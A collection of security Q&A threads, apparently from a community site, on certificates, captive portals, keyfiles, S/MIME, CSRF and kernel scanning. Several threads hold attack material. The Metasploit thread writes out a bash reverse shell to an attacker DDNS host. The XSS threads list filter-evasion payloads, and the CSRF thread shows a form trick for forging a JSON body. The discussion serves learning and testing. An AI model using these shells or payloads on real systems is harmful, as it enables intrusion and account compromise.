Certificates - What about signing again Intermediate CA certificates? I an thinking about this issue and it is hard to estimate technical impacts.

For any relevant reasons, one want to modify one the x509 field of an intermediate CA. This intermediate CA was signed by root CA, and it has already issued some end certificates.

I want Root CA to sign again this intermediate certificate because one field as changed (even a useless field), so the certificate produced a new hash, and so a new signature is made by the root. Suppose you replace the old one by the new certificate (its new signature), what is happening :

Is intermediate certificate still trust ? I guess it is as the signature is valid (even if "fresh" one) and we can verify it with Root certificate.

Also, as the intermediate public key has never changed, the end certificates are still valid, and we can verify it (with intermediate public key).

So obviously, the intermediate certificate content has changed, but we can still use it as it is signed by Root, and its public key is still the same.

I suppose there are impacts I couln't see.

Signing will be done by the key only, so as long the key is not changed all signatures done by this certificate are still valid. But, when building the trust chain for a certificate it will look at the certificates issuer field and then search for a certificate having this issuer as the subject. Only after it found a certificate (or multiple) having this expected subject it will use them to verify the signature.

This means, that you should be able to change any information in the certificate as long as the public key and the subject stay the same.


captive portal wikipedia article Something on the wikipedia page regarding captive portals have confused me:

http://en.wikipedia.org/wiki/Captive_portal

  When a client requests a website, DNS is queried by the browser. The
  firewall will make sure that only the DNS server(s) provided by DHCP
  can be used by unauthenticated clients (or, alternatively, it will
  forward all DNS requests by unauthenticated clients to that DNS
  server). This DNS server will return the IP address of the Captive
  Portal page as a result of all DNS lookups. The DNS poisoning
  technique used here, when not considering answers with a TTL of 0, may
  negatively affect post-authenticated internet use when the client
  machine references non-authentic data in its local resolver cache.
  Some naive implementations don't block outgoing DNS requests from
  clients, and therefore are very easy to bypass; a user simply needs to
  configure their computer to use another, public, DNS server.
  Implementing a firewall or ACL that ensures no inside clients can use
  an outside DNS server is critical.

It says the DNS server is queried to return the IP address of the captive portal. This DNS server was chosen by DHCP. Where is the DHCP running exactly and why wouldnt the captive portal be on the same server which had the DHCP??

Many captive portals are a self contained httpd/dhcpd/router/whatever else (some routers have bittorrent clients but that is beside the point).  I don't think that this Wikipedia page disagrees with that.   The attack being discussed in the last part of this excerpt is referring to DNS tunneling.   If its a very large network,  such as a WISP, then they are going to need a dedicated HTTPD in order to handle the load and this might be on another network segment.  If their firewall rulesets are poor,  then it maybe possible to use DNS as way to access the open internet.


Properly use files that have keys Both KeePass and Veracrypt allow you to secure your password database and containers with a password and keyfiles. My question concerns storage and usage on a local user level(home) computer. I keep my PC regularly updated, and I have a good internet security program in addition to Malwarebytes.

Obviously, storing the key and password database together isn't recommended, what is the recommended way of storing the database key?

Would keeping the password database on my computer, and the key on a USB drive be secure? When I want to use the database I just plug in my USB, and point KeePass to the location of the key and enter my password.

There are three methods used for authentication: something you know, something you have, and something you are. The first is generally a password. A key file is an instance of the second, something you have. The more of these methods you use together, the more secure your database.

Your issue would be an attacker stealing the key file. Having it on a separate USB is a good plan, but an attacker could still steal it. I always use a password as well a key file.

You might also want to invest in a hardware token, such as Yubikey, if you were really paranoid. That would make it very difficult for an attacker to extract that portion of the key, even if they stole the key itself.


symbolic execution vs fuzzing I think I understand the difference between fuzzing and symbolic execution especially when it comes to having a program that expects specific values (in this case symbolic execution will work and fuzzing probably won't).

However, is there a reason why we won't just use symbolic execution instead of fuzzing when we can (that is, if we are not really dealing with a big program) and not use fuzzing at all?

When should we use both?

when we can

that's usually the problem, here.

Even with access to the source code, it's not easy to reinterpret a program to find problem inputs.

In fact, it's one of the very hardest problems in computer science to "reverse" a program to see what input caused it to do something specific.

So, the reality is that even if it's sometimes theoretically possible to interpret the inputs to a program as symbols used in the program flow that lead to wanted (or unwanted) behaviour later on, it's usually much harder and time intense to find such symbols then just to try random input.


Security seals and the "perception of safety"? I clearly understand that the security seals (verisign or norton secure etc.) shown on banking and other websites are generated using a script and available only after an ssl certificate is purchased and installed.

The certificate vendors say "the seal helps improve your customers' perception of safety and trust"

I just somehow can not convince myself with this idea of 'perception of safety'.

No user is going to click the seal every time to see if it is really a seal by verisign.Most users will be unaware of this feature.
The image can easily faked for on a phishing site.
The vendors claim that it is a protection mechanism against phishing and Identity theft.

As Rook pointed out, security theatre is a big part of how consumer perception is exploited to ensure that customers believe that something is safe, without the vendor having to go through all that complicated hassle with actual security.

The TSA is a great example, but there are many others:

Extended Verification on SSL certificates are largely theatre, as the EV process does nothing to actually improve the cryptographic or algorithmic security of the transaction. If a 3rd party wants to get a certificate for the domain from a dodgy CA, they can do so without the EV and 99% of users wouldn't notice.
The design of certain enterprise-level security appliances, from a physical and interactive perspective, are often tailored to invoke images of robustness. This usually involves building the unit out of sturdy black metal, with a few blinky blue lights on the front, and putting padlocks and other such imagery on the web panel.
Bag searches at large events like concerts are largely security theatre. It's near impossible to get a few hundred people through a proper bag search process, so the staff take a quick look and let you through. More often than not, they're just trying to stop you bringing a big bottle of vodka, so you have to pay at the bar. But part of it is to make you feel safer, despite the fact that anyone could easily conceal weapons, drugs, etc. without detection.
Anti-phishing techniques such as secret images are (usually) security theatre, in that it is often either trivial for a 3rd party to steal the secret image from the site without authentication, or that the image is displayed after the user has entered their full set of authentication credentials.

At the end of the day, it's all about marketing. If a company can sell you the image of something being more secure than it is, they are more likely to get a sale because you have peace of mind.


Self-signed cert - how it works I am new to SSL / digital certificates / signatures.
What I know is that a digital signature must be verified/decrypted using the public key.

So a cert that is signed by a CA must be verified/decrypted by using the CA's public key which are installed in most browsers.

But how about a self-signed certificate? How does a client get the public key to verify/decrypt the self-signed certificate?

Is this the scenario where the browser will prompt that the certificate is from untrusted source and require the client to trust it?

By trusting, does that mean that the digital signature of the certificate is no longer verified? And that the cert is used directly ?

http://webdesign.about.com/od/ssl/ht/new_selfsigned.htm

In the link above, is "server key" a private key or public key?
Its seems like the "server key" is used throughout the generation of the certificate.

I would have thought that a "public key" will be stored in the certificate and the certificate will be signed by a private key.

To understand self-signed certificate, at first we need to understand the role of Certificate Authority(CA). I will explain things in the context of web servers
and browsers.

The role of Certificate Authority(CA) in HTTPS:

HTTPS employs Public-key cryptography which uses a key pair to encrypt and decrypt content. The key pair consists of one public and one private key that are mathematically related. A web server who intends to communicate securely with browsers can distribute the public key  but must keep the private key secret.

Now the problem is browsers cannot know with certainty that the key a web server used for encryption actually belonged to the web server. It is possible that another party monitoring the communication channel between the web server and the browser substituted a different key.
Certificate Authority(CA)  concept has evolved to help address this problem. Certificate Authority(CA)  is a trusted third party  which establishes the integrity and ownership of a public key. CA does it by signing the certificate (the public key of the web server) by using its private key. The browsers have built in public keys of well-known CAs and uses these to verify the certificates.

Self-signed certificate:

In case of  self-signed certificate, the webserver signs its own certificate instead of getting it signed by a third party CA. In other words, the webserver itself works as a CA for itself. OpenSSL can be used to generate self-signed certificate.

In case of self-signed certificates, browsers(e.g. Chrome) would not be able to verify the certificate, therefore it will complain.  To solve the problem, you can install the certificate of the self-signed CA in browsers.

References:

Wikipedia

Microsoft MSDN


Is it possible to encode some data in a image and decode the data from hard copy? I am working on a project which can encode some data in an Image and share it with other people by printing it out as hard copy. Now, other people can take a picture of the hard copy they got and decode the data.

I started researching on it and found some efficient projects like Mobistego which can encode and decode any image very effectively.

But the thing is, I wanted to use my Android phone's camera to take random shots and compare with a pre stored image and decode the data.

Other way possible can be like using some image recognition algorithm.

Pastec.io is a very nice API using OpenCV, which can be used for encrypting the image and detecting using android phone's camera.


how about using OWASP dependency check tool to address Top 10 2013-A9-Using Components with Known Vulnerabilities I know the OWASP dependency check tool is really good in finding vulnerable dependencies and I have used it personally for experimental purposes. But, has anybody used it at an enterprise level, like scanning for vulnerable jars in an established product?

Yes, I have seen this tool as one of the dependencies before going to production in an enterprise level organisation.

I have to say that it's not flawless and requires quite the attention due to false positives. These false positives can be placed in an ignore file.

However, I think it's a nice "extra" to have before releasing a product to production.


OAuth2 JWT Encryption for Tokens with Scopes to Multiple Resource Servers Within the context of an OAuth2 deployment, I would like to grant a Client an encrypted JWT that has scopes that to several Resource Servers and can be decrypted by each Resource Server independently of the Authorization server sharing a secret between all Resource Servers.

Do specifications to solve for this scenario exist?

The requirements in the next section specify a few remaining constraints.

Requirements

The decryption must occur at the Resource Server layer, without having to proxy the token back to an Authorization Server (via Token Introspection endpoint, or otherwise).
The Resource Servers must all have distinct secret keys in order to limit the attack surface that could result in any given secret key being compromised.
The JWT must use the compact format in order to remain compliant with OpenID Connect (is this true, or can OpenID Connect work with JWT (JWS/JWE) JSON serialization formats?)

An Example Use Case

I will map out a use case for the authorization code grant (https://tools.ietf.org/html/rfc6749#section-1.3.1) in order to further demonstrate my use case.

As a registered User of an Authorization Server
When I visit a registered OAuth2 Client Application (with my User-Agent) for the first time
Then I should be redirected to the Authorization Server with the query required query params for the Authorization Code Grant (including scopes="photos.read,photos.write,friends.read")
And I should see an authorization dialog requesting delegated access to the following services:

Read your photos
Upload photos on your behalf
Read your friends

When I click 'Authorize'
Then I should be redirected back to the registered OAuth2 Client Application with an Authorization Code
When the OAuth2 Client Application system used the Authorization Code to request a token
Then the OAuth2 Client Application system should receive a token with the following scopes:

photos.read
photos.write
friends.read

(...)

In my implementation of this system, the "Photos Resource" and the "Friends Resource" live on two distinct Resource Servers. As mentioned above, the goal is that these resource servers do not share identical secret keys.

Possible Solution

JWE JSON Serialization with multiple recipients
(https://tools.ietf.org/html/rfc7516#appendix-A.4.7). This violates the requirements above since is uses the JWE JSON Serialization method rather than the JWE compact format. As per the question above, it would appear that OpenID Connect can only use JWT Compact format. If my assumption is incorrect here, then maybe this is a reasonable solution?

Thanks for reading this. I would really appreciate any suggestions or pointers.

I read you question a couple of times because I confronted with a "problem" like your. The solution presented by you, using OAuth2 with OpenID Connect and JWT as token is correct. I wrote on Medium an article where I described in details how to use OAuth2 with OpenID Connect. If you have any questions, please ask me.

LATER EDIT

One of the weaknesses of OAuth2 is that there is no prescribed way for the Resource Server to validate the access token or to use the access token to establish the identity of the user.

Google and other OAuth2 providers solved this problem by providing a TokenInfo endpoint. Resource Servers could pass the access token to this endpoint and get back information about the token validity, user identity, token scope, and expiration time. In my case this endpoint correspond with the Authorization Server.

This concept was expanded in OpenID Connect with the introduction of the ID token. The ID token is a signed and potentially encrypted token which contains the user’s identity and any claims that were in scope.

The ID token is a JSON Web Token (JWT) that contains identity data. It is consumed by the Client and used to get user information like the user’s name, email, and so forth. This is also useful when you have a chain of Resource Servers and a Resource Server can be a Client of another Resource Server.

The JWT feature gives Client applications and Resource Servers the ability to securely get information about the user directly without having to contact the Authorization Server every time.

If you want to prevents the issuance of overly broad access tokens, you can provides an authorization check at each point in the chain. A Resource Server can be a Client for the Authorization Server, present its JWT, and request a new JWT for the next Resource Server in the chain.


Simplifying SMIME by re-using the Public & Private key across email accounts I need to simplify (at the cost of security features) an SMIME deployment.

How can I generate a CSR that reuses the same public and private key for more than one email address?

In other words, I have N email addresses, and want to generate N CSRs (and resulting certificates); however the crypto will be the same. (public and private key).  Since I'm using a different subject name, I'm assuming the SerialNumber/Thumbprint/Hash will be different among keys, and this is OK for client software.

I intend to use this for signing and encryption key usages, so preferably the CSR key usage will include both usages (and assume the server will approve of such a request)

How to generate a CSR using an existing keypair depends largely on the software you are using. There is however technically speaking no reason it should not work. May I ask why you want to reuse the same keypair for all certificates?

With openssl you can specify which private key to use so if you generate a private key one and use the same private key for all CSR requests then all requests will use the same keypair.

openssl req -new -key privkey.pem

It might be that the CA however does not allow keypairs to be reused. For example EJBCA has the option 'Enforce unique public keys' which only allows a key to be reused for the same person.

Whether or not you get into problems reusing a private key for different certificates depends on how you are going to use the certificates. Most (if not all) S/MIME clients search for the private key to decrypt with using the issuer/serial number pair. In other words, even though the private keys of the certificates are the same, you cannot decrypt the email with for example Outlook if you use the certificate of someone else (in principle it should be possible since the private key is the same, but since the serial number is different, Outlook won't find the correct certificate).

Security wise, it might not be the best decision to reuse the private key (if one certificate must be revoked you need to revoke them all). Whether or not it will work, depends on your use case.


VGA/HDMI Based Attack Can I attack a PC via the VGA port? Is VGA one way or does it accept data from the other side?

How about HDMI or DVI?

And if so, are there known malware or PoCs to do that? or is it theoretically fantasy?

VGA and HDMI are not one-way; besides the main send-pictures functionality, there is some low-bandwidth bidirectional communication. This is how a computer can "know" that a new display was connected, and what resolution to use on that display. In the case of VGA, this was a backported feature (VGA displays from the early 1990s could not do that).

Theoretically, this could be exploited, if (and only if) there is some weakness in the receiving part (the display card and its driver). The protocol is not complex (no TCP/IP stack involved) so exploitable security holes should be rare.

Usually, a malicious display can do much more evil by simply logging a copy of everything that is displayed. For instance, I have an account in a bank, such that for online banking I "type" a password by clicking on semi-randomly located buttons. A screen logger grabs the password easily in such conditions (ironically, that system was meant to thwart keyloggers). Therefore, the usual wisdom is that if your display is malicious, then you already have bigger problems.

Note: some displays also double as a USB hub -- and weaknesses in USB protocols have been exploited (e.g. the "PS3 Jailbreak" from 2010). For common PC, the USB link is an extra plug, but these things may change. For instance, Apple computers now use the Thunderbolt interface which is fully bidirectional and uses a rather complex protocol, where security holes are quite plausible.


Upgrade shell to meterpreter behind NAT I've been playing around with Metasploit the past week, and am successfully able to obtain a basic shell of the victim over the internet. I've currently:

Created a DDNS that points to my public IP
Set up port forwarding for all the important ports I use (6680, 4433)
Tested the setup (DDNS and each port) by accessing temporary server hosted on my attacker machine

This image from Corelan's blog post sums up my situation very well:

But when I try to upgrade the shell to a meterpreter, either via this command sessions -u 1 or by manually using the post/multi/manage/shell_to_meterpreter module, the shell fails to upgrade.

It fails to bind to the DDNS / Public IP for obvious reasons and binds to my local network IP or loopback address by default. This works without any issues when both attacker and target machines are on the same network, but always fails over the internet.

I just can't understand how to make it work.

Some more details:

Both attacker and target machines are Macbooks running OSX 10.10 x64 Yosemite
Both machines are on completely different networks, each behind a router and a different ISP
Using Metasploit version v4.11.4-dev-8a5e45b1
Using the osx/x64/shell_reverse_tcp payload
Running this command on the target machine to connect back to the attacker:

bash -c "bash -i >& /dev/tcp/my.ddns.host/6680 0>&1 2>&1"

The comments on your question seem to be rather misleading, or almost irrelevant. I'd ignore them if I were you!

Remember, upgrading the session requires establishing of a new communications session, it doesn't just take over the existing socket.

This looks like the classic scenario of binding to the wrong host or port. For the upgrade to work in the scenario you describe, your firewall needs to forward port 4433 to your attacking machine. If it doesn't, then you simply won't get your reverse connection.

If you have configured your firewall such that the forwarded port is not the same as the one you're binding to, then you have to take another step. For example, if your firewall is configured to forward port 443 to port 4433, then you need to:

set LPORT 443 -- this tells Meterpreter to call back on port 443.
set ReverseListenerBindPort 4433 -- this tells Metasploit to bind to port 4433 instead of 443.

Unless you have a persistent listener for your initial shell, you can even reuse the same port.

Given that you're using non-standard ports, it could be the the remote firewall is blocking the outbound traffic as well.

I hope that helps.


Prove XSS when most attacks result in a 403 error? While testing a website that has a responsible disclosure policy I found out that I can insert code and close the attribute and insert some text of my own:

<input type="text"  value=""xsstext>

Now sure I can send them an email showing them I can insert

The filter here seems to be some kind of blacklist. It does not outright filter out or encode dangerous characters like < and >, but instead it completely blocks requests containing certain strings or patterns. It would not surprise me if the application itself has no XSS protection at all, but there is a web application firewall (WAF) in front of it that throws a 403 when it sees anything that looks dangerous.

The good news about this kind of filter is that they are seldom air tight. The bad news is that it can be hard to find something that actually makes it through. Here are some suggestions that may or may not work:

Try case sensitivity: <sCRipT>, ONloAd
Every single event handler in the book: onerror, etc., etc.
Other dangerous URL schemes: <a href="vbscript:...">
URL encoding ordinary letters: %3c%73%63%72%69%70%74%3e

For more inspiration, see the OWASP XSS Filter Evasion Cheet Sheat. In general, try small things (e.g. just the string onerror, not " onerror="alert('XSS');") and see what passes, then work your way up to a full payload. And remember, this is a game where persistence is rewarded.


Advised to block all traffic to/from specific IP addresses My CFO received an email from a director at a financial institution advising that all traffic (inbound and outbound) from certain IP addresses should be blocked at the firewall. The director at the financial institution was advised by his IT department to send this mail. The list of addresses (about 40) was in an attached, password-protected PDF. The password was sent to my CFO by text message.

I initially thought this was a malicious attempt to get our CFO to open an infected PDF, or a phishing/whaling attempt, but it seems legit. We have spoken to the IT department at the FI and they say it's genuine, but they can't (won't) provide any more information.  Due to the nature of the relationship between my company and the FI, refusing isn't really an option. From what I can see most of the IP addresses appear to belong to tech companies.

Does this approach strike you as suspicious? Is there some social engineering going on here? What could the nature of the threat be?

If you spoke to the FI on a separate channel, you actually spoke to the FI, and they know about this, then by definition, it is not a phish.

What strikes me as odd is "but they can't (won't) provide any more information", and "refusing isn't really an option". These 2 facts cannot co-exist if you are a separate entity from the FI.

Your push-back is simple: your firewall policy requires a legitimate reason along with an end-date for the rule to be reviewed/removed. You don't just add firewall rules because someone outside of the organisation told you to. The FI has no idea if blocking those IPs may impact your operations.

what effect is this rule supposed to have?
how long does the rule need to exist?
who (named individual) owns this rule on the FI side?
what remedies are expected if the rule has a negative effect on operations?
what effect will there be between your companies if the rule is not implemented exactly as requested?

You will not add the firewall rule without knowing what the impact is, either positively or negatively. If they want greater control over your firewalls, then they can supply and manage your firewalls for you.

On the other hand, if they own you and the risks, then they take on the risks of this change, so then just add the rules.

As for a Director sending this request, it's not so strange. When you need someone to do something, you have the person with the most clout make the request. The Director may have no idea what a firewall is, but the request is being made in that person's name. I am also curious why so much clout is needed, though. It seems like they want to pressure you into doing it while not having to explain themselves. Don't let them dictate your policy and how you best protect your company.


Using SSL Certification in Multiple Locations I have some issues with respect to using SSL Certificates. I have a website hosted in UK and I also have an organisation in South Africa hosting my company application online for web access.

The issue now comes as I want to implement SSL for both servers as it requires login from different places and different people.

Is it possible to purchase just ONE SSL certificate foe the company in the company name (www.companyname.com) and use it for both purposes? And hope there wont be any conflict issuing the CSR?

Thanks

When client browsers connect to a SSL server, they check that the server name (as specified in the URL) is part of the name(s) which are present in the certificate. Exact rules are given in all their technical glory in RFC 2818, section 3.1.

For your situation, sharing the certificate between the two servers will work if they both share the same DNS name (but this may prove difficult, since they are likely to have distinct IP addresses), or if you convince your certificate issuer to give you a certificate with both server names in it (since the business model of most commercial CA relies on selling as many certificates as possible, they may object to selling you a single certificate instead of two).

One additional point is that private keys ought to travel as least as possible. If both servers share the same certificate, then they know the same private key, so the private key must have traveled quite a bit (at least from UK to South Africa, or the opposite). This can be done relatively safely (e.g. through some SSH connection) but, on a general basis, this is not recommended.


android implicit pending intent Android documentation about PendingIntent says:

  For security reasons, the Intent you supply here should almost always
  be an explicit intent, that is specify an explicit component to be
  delivered to through Intent.setClass

It says almost always, is there a scenario when it is ok to include an implicit intent inside of a pending intent?

It is probably because the authors of that documentation couldn't think of a scenario where it may be ok to use an implicit intent, but didn't want to rule out the possibility that someday, somebody might think of such a scenario and want to use an implicit intent inside a pending intent, without it being a security issue. Hence, they left open that possibility.


Vulnerable stored Linux kernel version I am scanning Linux server which has two kernels versions stored, when I run following command I can see for example this version:

user@host [~]# rpm -q kernel
kernel-3.10.0-327.el7.x86_64
kernel-3.10.0-1062.4.1.el7.x86_64

When I run this command, which identifies the current kernel version that is being utilized on the server this is new version.

user@host [~]# uname –sr
Linux 3.10.0-1062.4.1.el7.x86_64

My security scanner reported that I have many vulnerabilities because of using kernel-3.10.0-327.el7.

Questions:

Does this mean that this is false positive because I am not using this version on the server?
Where can I check if kernel-3.10.0-1062.4.1.el7.x86_64 is the latest kernel version?

this is false positive because I am not using this version on the server?

Yes and no. It's an issue because the vulnerable version is installed, and can be loaded at any reboot by the user/operator. But at the moment, the running kernel is not the vulnerable one. So it indeed have the vulnerable version installed, but don't have the vulnerable version running.

  Where can I check if kernel-3.10.0-1062.4.1.el7.x86_64 is the latest kernel version?

If you are using RedHat (it looks likely), you can use yum to see the latest version:

yum -v list package_name --show-duplicates

Installed Packages
kernel.x86_64                    3.10.0-123.4.el7                  @RHEL-76-x86_64-updates
kernel.x86_64                    3.10.0-234.1.el7                  @RHEL-77-x86_64-updates
Available Packages
kernel.x86_64                    3.10.0-345.1.el7                   RHEL-77-x86_64
kernel.x86_64                    3.10.0-1234.5.6.el7                RHEL-77-x86_64-updates
kernel.x86_64                    3.10.0-1345.8.9.el7                RHEL-77-x86_64-updates
kernel.x86_64                    3.10.0-1579.2.4.el7                RHEL-77-x86_64-updates

It will show you the installed version and some available versions.


One-way function for data synchronisation I have to synchronise small sets of data between two or more systems over an insecure network. First I have to check that the other system has the same unique identification information for the data set, but without giving away the identification data if it doesn't. The unique identification strings are between 12 and 40 bytes long. I am thinking of using a one-way hash to individually hash a group of unique identifiers, send that to the remote system and have the remote system use the same hash salt to hash the same identification data from its datasets (it will have in the order of 1000 sets), compare the received hashes with its computed hashes and send back the identifiers that match (encrypted but not hashed). An obvious requirement is a very low risk of a hash collision to prevent data leakage in either direction.

What is the best hash algorithm to use for this? Is it OK to send the hash salt with the hashed data? Can I use one salt for several identifiers, or do I need to have a unique salt for each identifier?

personally I would just use SSH with public/private keys for a job like this. that employs an mechanism to not send over any identifying features (excluding hostname and possibly username, not sure on that) and is easy to setup, and easy to use.

any of the SHA algorithms would fit the bill, its 'better' to not send over the salt with the data (separated channel would be sufficient)  and as for 1 or more salts, that depends on how secret much your information be kept.


Closing an HTML element without using literal slashes? I'm investigating a vulnerability in an application that echoes a user-supplied filename without sanitizing the filename.

E.g. a file named test-<script>alert("evil");.txt will result in that text echoed into the XHTML. (In case it matters, this particular document is served as text/html and the doctype is xhtml1-transitional.)

The problem is that the <script> tag can't be closed because the filename can't contain a /. This means that the script isn't executed because everything that follows is part of the script, and all that HTML will be invalid JS.

(FWIW, I'm also investigating the use of subdirs as a way of getting the slash into the application, but it appears to trim the dirname from the file before displaying. Heh -- having a file named ./<script>alert("evil subdir?");</script>.txt makes me feel a little queasy...)

Based on a few XSS cheat sheets, I've tried several ways of encoding the slash so that it can appear in the filename but still be interpreted by the HTML parser as a closing tag. No luck; the characters are inserted literally into the HTML without any intermediate encoding/decoding.

Even without the slash I've found three or four ways of exploiting it, but so far they require user interaction with that element (e.g. onmouseover). They also make the page ugly because the tag structure falls apart. If I can close the tag, the exploit is both invisible and automatic.

Are there any standard (i.e. XSS filter evasion) techniques for closing a tag without quotes that I'm missing?

Here are some more you can try.  I betcha that one of these will work (in fact, I bet that the first one will work, and then you can stop reading):

Try .  No user interaction involved.
You're giving up too easily on onmouseover.  Create a giant element that covers most of the page, and then use onmouseover.  While technically user interaction is involved, I think you can make it almost automatic.
Try onreadystatechange, e.g., .  It is IE-only (IE7 and later, I think) but powerful.
Try onfocus="alert(0)" autofocus, e.g., <input autofocus onfocus=alert(0)>.  I don't know if this will work.
On Opera, try
.  It might work.
Try  and  (unlikely to work on most browsers, but you can try it).
If the server doesn't specify the content-encoding type in the headers of the HTTP response, try UTF-7 shenanigans (only works on older browsers).

Note that these techniques are likely to be highly browser-dependent.

If you are still stuck, try asking on Sla.ckers; there are a bunch of folks who hang out there who are super knowledgeable about this sort of thing.  For the basics, I recommend RSnake's XSS cheat sheet.  For more advanced XSS vectors, try Gareth Heyes' blog and Sla.ckers.


can you update a one-time pad, over one-time pad encryption (compressed)? This might well be a silly question, but at the moment I've not thought of a reason it doesn't work.

As I think is generally known, you should never re-use a one-time pad.  But compression allows you to transmit something larger than the number of bytes used in transmission...

I'm not intending to / have no reason to do this but thought it was an interesting idle thought wondering why you can't:

establish initial one-time pads securely with someone.
communicate using the pads, and when it gets near the end, transmit a knew (compressed) one-time pad, which you both subsequently use.

(I realise the ratio of data vs pads in your throughput might be pretty terrible).

I'm assuming someone strong on maths might be able to explain that if the algorithm is known it might be possible to break it because in a way data is being 'reused', though in an encrypted, compressed form the first time, as the key the second.

If the security does degrade, at what point/how much?  (Assuming neither ends have the conversation have been compromised).

edit: thanks for looking guys, I forgot that random data is hard to compress; question answered.

This isn't possible/feasible, for two reasons.

Compression doesn't "work" on random data - it won't actually significantly reduce the size of your data, and in fact, may increase the size.
A one time pad must be greater than or equal in length to the data being encrypted.

So if you're using the "remaining," unused part near the end of your one time pad to transmit a new one time pad, you're going to end up with a very small "new" one time pad... and the same problem that you're almost near the end of it.


How does public/private key encryption work? I looked this up a few times already, but I still don't really understand how public/private key encryption works. The wikipedia page on public-key cryptography says this:

  Public key cryptography, or asymmetrical
  cryptography, is any cryptographic system that uses pairs of keys:
  public keys which may be disseminated widely, and private keys which
  are known only to the owner. This accomplishes two functions:
  authentication, which is when the public key is used to verify that a
  holder of the paired private key sent the message, and encryption,
  whereby only the holder of the paired private key can decrypt the
  message encrypted with the public key.

The part I don't understand is why only the holder of the private key can decrypt the message encrypted with the public key. When you encrypt a message with a key, it should be possible to decrypt it with the same key right?

A private key and public key work in as a pair. The public key (which is specific to person A but everyone knows it [let everyone be B]) can be used to encrypt a message. B then sends the message to A. The private key for person A can then be used to decrypt the message. If A wants to send a message back to B, they will first encrypt it with B's public key, send it, then B would decrypt it using their private key.
A good analogy is here:

For example, if Bob wants to send sensitive data to Alice, and wants to be sure that only Alice may be able to read it, he will encrypt the data with Alice's Public Key. Only Alice has access to her corresponding Private Key and as a result is the only person with the capability of decrypting the encrypted data back into its original form.
As only Alice has access to her Private Key, it is possible that only Alice can decrypt the encrypted data. Even if someone else gains access to the encrypted data, it will remain confidential as they should not have access to Alice's Private Key.

EDIT: So a "public" key is known by everyone but is specific to one person.
EDIT 2: The reason a public key can't decrypt something that was previously decrypted with the same key is explained here. Basically, the whole point of encryption is to use a simple calculation to encrypt that is almost impossible to decrypt - which is what happens here.


CSRF on GWT apps : bypassing the Same-Origin policy At work we suspect a GWT app (that is not in production yet) we own to be vulnerable to CSRF. We have to look at it from a black-box point of view before a third-party security audit will be performed.

Due to the fact that all calls in the app are made through AJAX (with method POST), simply replicating an Ajax call in a malicious way is not achievable thanks to the Same-Origin policy.
In fact we know that there is no csrf protection, but since only the request bodies ("payload" in the network tab of Chrome) are read by the server, it feels at first glance that the vulnerability cannot be exploited.

Is there a way to forge a similar request through a browser with a classic form ? My problem is that I cannot replicate the body of the Ajax call through a form : the app reads the body of the requests - submitting a classing form requires inputs with key/value pairs which would not be taken into account by the server.

In other words, is it possible, with an html form, to submit a request that just contains text in a body, instead of key-value pairs in the body ?
Or is there another attack angle for such cases ?

Edit (additional info):

The clicks on buttons of the application generate requests that use text/x-gwt-rpc; charset=UTF-8 as content-type  which, I suppose, is what gwt RPC call handlers expect, and cannot be "forged" with a normal browser (of course such a request could be forged without a browser, but that is OK, since I'm just trying to exploit a potential CSRF).

What notably bothers me is the fact that I know that there are no CSRF tokens in the requests, and that there could exist a tricky way to forge the malicious requests - but I don't see how.

Your application uses AJAX posts with the content type set to text/x-gwt-rpc.

  In other words, is it possible, with an html form, to submit a request that just contains text in a body, instead of key-value pairs in the body ?

According to the HTML specification, it is only possible to set the following content types for an HTML form:

application/x-www-form-urlencoded
multipart/form-data
text/plain

Therefore it is not possible to set it as text/x-gwt-rpc and have it understood by the browser.

This denotes the "GWT-RPC Wire Protocol". With some content types, it might be possible to "trick" the browser into sending another type of payload by using text/plain. For example, here is how it could be done with a JSON payload, although it will be sent without the correct content-type header.

<form enctype="text/plain" method="post">

<input type="hidden" name="{&quot;foo&quot;: &quot;bar&quot; }//" value="" />

<input type="submit" />

</form>

would be sent as

{"foo": "bar" }//=

Not perfect, but you get the idea.

  Or is there another attack angle for such cases ?

If your application is not checking the content type of the submitted form server side, it might be possible for an attacker to construct an AJAX request and POST that cross-domain to your server. For example, they may set the content type to be text/plain, which is allowed cross domain without an OPTIONS request.

The allowed cross-domain content types for AJAX request exactly matches the content types allowed via an HTML form.

An option for you could be to add a header to your requests such as X-Requested-With and then verify this server side. As this header cannot be included in a cross domain request without the server opting in via CORS, this will protect your application against CSRF attacks.


Possible threats on the memory buffer If an adversary could identify a buffer's capacity, what would be the possible consequences?

The attacker already knows the capacity of all your buffers. This is the normal basic assumption: buffers in your software are defined by the software itself, which exists as source code, executable, backup copies, and in the heads of the designers. The same software may have been purchased by the attacker, and reverse-engineered; or the software could simply be opensource. Software cannot be considered to be secret in any way, because there are way too many ways for outsiders to learn that secret software.

Suppose that you run some software on your server, that expects from connected clients a user name and a password. The software will store the received data into in-memory buffers before processing that information. Suppose that the buffers are apt at receiving 200 characters each. The attacker also knows that (see above). So far so good.

The problem is not that the attacker knows the size of your buffers; the problem is when the attacker supplies more data than can fit into the said buffers, and the software, erroneously, tries to push the data into the buffer even though it makes no sense. This is the buffer overflow: the stupid, gullible software is induced into trying to do something nonsensical, and the data spills over other data elements in the machine RAM.

Some programming languages, in fact most of them except prehistoric languages like C, systematically check array accesses and thus detect the buffer overflow attempt even if the developer failed to include the necessary checks. This does not solve the issue (the problem being that the software still want to do things that make no sense), but at least it contains the damage (the offending process is swiftly killed, and that's the extent of it).


Raw Text SSN on page: Should I be worried? I just signed up with an employer's selected vendor for HR/Direct Deposit.
As I went through the signup process, I saw that my SSN was displayed in Plain Text.

Seeing as they have to pay me, I do not begrudge them having my SSN stored, but I am very VERY uncomfortable with them sending it over the web unencrypted.

What possible attacks does this leave my SSN open to?

As long as the page you're viewing was encrypted via TLS, (page using https:// and with a certificate that your browser trusts), then it's unlikely that your SSN will be susceptible to someone sniffing your web traffic. If you're on Wifi, make sure you're using an encrypted network that you trust also.
That being said, having it written in plaintext is a little more worrisome should someone steal your credentials to the employer site - whether by guessing or phishing it from you. If that happens they will probably have your bank info and SSN both, amid a bunch of other critical personal data. Make sure you use strong creds to access the site, don't share them across accounts-- the standard safety warning.


Printer SSL certificates Is a printer SSL cert really necessary if you just print? I don't use https for any administration; just http. I got a vulnerability saying that my cert was out of date.

If you are not using the HTTPS connection, then it would seem security is not a concern and it would be irrelevant whether the HTTPS is displaying and error. The certificate is part of what gives authenticity to the connection.

If you consider the HTTPS lack of a certificate to be a security issue, then just using HTTP itself would also be an issue. If the risk of attack does not justify using HTTPS in your scenario, you can disable it or advise users that the HTTPS version is not providing the full security, so they should not expect that (and just ignore the warning or use non-TLS/SSL HTTP).


